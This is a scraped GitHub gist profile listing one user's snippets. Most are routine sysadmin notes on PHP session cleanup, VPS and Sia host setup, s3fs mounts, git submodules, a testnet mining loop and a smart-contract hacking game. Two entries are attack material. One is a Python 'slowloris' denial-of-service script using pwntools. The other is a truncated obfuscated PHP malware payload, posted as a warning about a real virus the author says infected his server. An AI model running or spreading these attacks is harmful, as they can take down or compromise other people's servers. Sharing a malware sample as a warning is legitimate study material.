Skip to content

Instantly share code, notes, and snippets.

View DaWe35's full-sized avatar

DaWe DaWe35

View GitHub Profile
@DaWe35
DaWe35 / session_cleanup.sh
Last active November 14, 2020 11:58
Remove old PHP sessions from /tmp
find /tmp -name 'sess_*' -mtime +5 -exec rm {} \;
@DaWe35
DaWe35 / slowloris.py
Created November 5, 2020 11:07
Simple python slowloris
from pwn import *
def attack(wait):
print("Waiting for "+str(wait)+" secs..")
sleep(wait)
while True:
r = remote(sys.argv[1], sys.argv[2])
cnt = 0
try:
r.sendline("GET / HTTP/1.1\r")
@DaWe35
DaWe35 / VPS initial setup.md
Created May 27, 2020 13:22
VPS initial setup

Add user & disable root login

adduser USER
passwd USER
# add user to sudoers
usermod -aG sudo USER
# change user
su - USER
sudo nano /etc/ssh/sshd_config
@DaWe35
DaWe35 / Sia Central ARM.md
Last active April 8, 2020 15:45
Sia Central host manager build on ARM (armv7l = 32 bit)

download source from the latest release.

npm install phantomjs-prebuilt --ignore-scripts

npm install

npm audit fix

rm -rf node_modules/electron & npm install electron

@DaWe35
DaWe35 / mine.sh
Last active April 28, 2024 21:23
Bitcoin Core CPU mining bash loop for testnet
while [ 1 ]
do
bitcoin-cli generatetoaddress 1 "2N5fJkfCv4cF6vsa5QQJnsazBKWNXynn9zp" 10000000
done

sudo nano /etc/passwd-s3fs

key:password

s3.eu-central-1.wasabisys.com is ONLY for EU server.

sudo s3fs DRIVE_NAME /home/USER/FOLDER -o passwd_file=/etc/passwd-s3fs -o allow_other,url=https://s3.eu-central-1.wasabisys.com

@DaWe35
DaWe35 / Sia host setup.md
Last active November 27, 2019 20:20
Setup & config commands for Sia host, Ubuntu (minimal). That helps me out when I want to host from a Rasberry Pi.
  • Flash Ubuntu minimal to a 32GB or bigger MicroSD & start the Rasberry
sudo apt update
sudo apt install screen
sudo apt install openssh-server
sudo systemctl status ssh
sudo apt ufw
sudo ufw allow ssh
sudo ufw allow 9982
DO NOT RUN OR COPY THIS CODE!!! THIS IS A REAL VIRUS, AFFECTED MY SERVER IN 2014!
DANGEROUS AND AFFECT ALL OF YOUR PHP FILES!!!
<?php $drxdgodrrp = '5c%x7878pmpusut)tpqssutRe%^#zsfvr#%x5c%x785cq%x5c8e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y5)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*1%x5c%x7822#)fepmqyfA>2b%x5c%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7g}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x78*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278j0#!%x5c%x782f!**#sfmcnbs+yfeobx7860hA%x5c%x7827pd%%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825=]0#)2q%x5c%x7825l}S;2-u%x5c5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x77825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%xc%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x786

Commands for managing Git Submodules

Init update:

git submodule update --init --recursive

Update:

git submodule update --recursive --remote

Remove:

  • Delete the relevant section from the .gitmodules file.
@DaWe35
DaWe35 / OBWS_2.md
Created October 4, 2019 21:04 — forked from seresistvanandras/OBWS_2.md
Hacking smart contracts for fun and profit

Hacking smart contracts for fun and profit

Description of the game

The goal of the game to break as many contracts as possible! Note: one of these contracts is a HONEYPOT! BE CAREFUL!!

Claim your Ropsten test ether here!

The contracts you need to break and their addresses: